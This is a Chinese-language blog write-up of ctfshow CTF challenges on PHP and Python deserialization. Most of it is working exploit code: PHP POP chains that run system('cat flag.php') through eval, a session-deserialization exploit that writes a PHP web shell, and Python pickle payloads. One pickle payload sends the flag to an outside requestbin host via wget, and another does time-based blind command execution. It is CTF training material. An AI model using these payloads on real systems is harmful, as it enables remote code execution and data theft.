[CTFSHOW]反序列化(仅更新必要的题目)

94 篇文章 22 订阅
66 篇文章 6 订阅

前言

新的篇章师傅们加油鸭,建议没有基础的师傅在web254完成后去百度一下ctf反序列化学习一下基础知识哦,这里不再赘述,然后有些题感觉比较简单可能不会更新了

web254

代码审计,首先初始化ctfShowUser类,在第二层if当中首先执行login方法,用于判断我们get传入的参数username和password是否与类中一致,发现用户名和密码都是xxxxxx,因此我们只需要传入username=xxxxxx&password=xxxxxx即可获取flag

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

web255

首先通过反序列化获取对象(序列化将对象保存到字符串,反序列化将字符串恢复为对象),之后checkVip要求是true,之后执行vipOneKeyGetFlag获取flag

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

因此我们配合php生成payload,配合burpsuite写入cookie字段并传入参数即可(注意在cookie字段当中需要url编码一波)(其名称以及存储的字符串值是必须经过URL编码的),之后get请求传入username=xxxxxx&password=xxxxxx

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
}

echo urlencode(serialize(new ctfShowUser()));

web256

和上一道题一样,就是要求username和password不能一样就可以啦

web257

解法一

代码审计,魔法函数
__construct当对象被创建的时候自动调用,对对象进行初始化。当所有的操作执行完毕之后,需要释放序列化的对象,触发__destruct()魔术方法

因此我们只需要在执行__construct的时候初始化backDoor类,方便我们进行命令执行的利用,之后反序列化结束后,会执行__destruct(),此时eval($this->code);等价于eval(system('cat flag.php');)

因此为了实现这个目的首先去掉我们不需要的info类,下面
构造pop链(由于配上private有特殊不可见字符不想手动处理所以进行url编码)

<?php
error_reporting(0);
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'backDoor';
    public function __construct(){
        $this->class=new backDoor();
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}
class backDoor{
    private $code="system('cat flag.php');";
    public function getInfo(){
        eval($code);
    }
}
echo urlencode(serialize(new ctfShowUser()));

最后生成反序列化构造的数据
同时username与password传入参数xxxxxx

O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

解法二

知识点:php7.1+反序列化对类属性不敏感(其实和上面一样哒)
利用php特定版本下对private和public不敏感的特性构造

<?php
//error_reporting(0);
class ctfShowUser{
    public $class = 'backDoor';
}


class backDoor{
    public $code="system('cat flag.php');";
    public function getInfo(){
        eval($code);
    }
}

$a = new backDoor();
$b = new ctfShowUser();
$b->class=$a;
echo urlencode(serialize($b));

web258

绕过preg_match(’/[oc]:\d+:/i’, $var),使用➕

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
    public $class = 'backDoor';

    public function __construct(){
        $this->class=new backDoor();
    }

    public function __destruct(){
        $this->class->getInfo();
    }

}

class backDoor{
    public $code="system('cat flag.php');";
    public function getInfo(){
        eval($this->code);
    }
}
$a = new ctfShowUser();
$a = serialize($a);
$a= str_replace('O:', 'O:+',$a);//绕过preg_match
echo urlencode($a);

web259

写在了另一篇文章:
从一道题学习SoapClient与CRLF组合拳
https://y4tacker.blog.csdn.net/article/details/110521104

web262-264

暂时懒得更新

web263

考点:php-session反序列化,代码审计,文件泄露(www.zip)
感觉以前我写的挺详细的[代码审计]PHP中session的存储方式(WP)
利用点是session.serialize_handler与php.ini的配置不同引起的反序列化,至于为什么不同,如果相同的也就没必要加上这句设置了,毕竟是默认配置对吧
在这里插入图片描述
利用exp:()

<?php
class User{
    public $username="admin/../../../../../../../../../../var/www/html/1.php";
    public $password="<?php system('cat flag.php');?>";
    public $status;

}
$a = new User();
$c =  "|".serialize($a);
echo urlencode(base64_encode($c));

之后大致说下解题步骤:
1.首先访问首页,获得 cookie,同时建立 session
2.抓包修改 cookie 为序列化字符串
3.访问 check.php,反序列化实现 shell 写入
4.访问1.php审查元素查看flag

web265

用引用

<?php
class ctfshowAdmin{
    public $token=1;
    public $password=1;


    public function login(){
        return $this->token===$this->password;
    }
}
$a = new ctfshowAdmin();
$a->password=&$a->token;
echo urlencode(serialize($a));

web266

O:7:"Ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

发现大小写不敏感不知道为啥,yq1ng师傅在评论区说的php对类的命名就不检查大小写,自己试了一下果然是的
在这里插入图片描述

web277

解法一

首先打开题目环境
在这里插入图片描述
审查元素发现关键的代码,发现是pickle反序列化
在这里插入图片描述
简单提一句,pickle可以序列化python的任何数据结构,包括一个类,一个对象,但如果像下面这样构造的类在序列化过程当中就会忽略a与b所以我们通常会将其写入__init__当中

class A(object):
    a = 'aaa'
    b = 2

接下来步入正轨,我们这里主要是用reduce进行利用,但是发现执行完以后没回显,只有一个成功的界面,害群主提示说dnslog带外输出,之后我尝试了curl、ping都不行最后发现wget可以,下面直接给出payload吧,有点累了想睡觉
在这里插入图片描述
这里配合了requestbin那个网站,当然也可以使用dnslog带外输出啦

#!/usr/bin/env python

import os
import pickle
import base64

class RunCmd(object):
    def __reduce__(self):
        return os.system, ('wget http://requestbin.net/r/rfs12yrf?a=`cat fla*`',)

print(base64.b64encode(pickle.dumps(RunCmd())))
# m=base64.b64decode(base64.b64encode(pickle.dumps(RunCmd())))
# m=pickle.loads(m)

拿到flag啦
在这里插入图片描述

解法二

rce盲注大家可以学习学习嘿嘿

#!/usr/bin/env python

import os
import pickle
import base64


class RunCmd(object):
    def __reduce__(self):
        return os.system, ('if [ `cut -c 1 ./flag` = 'f' ];then sleep 4;fi',)


print(base64.b64encode(pickle.dumps(RunCmd())))

参考链接

随笔分类 - PHP常识

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值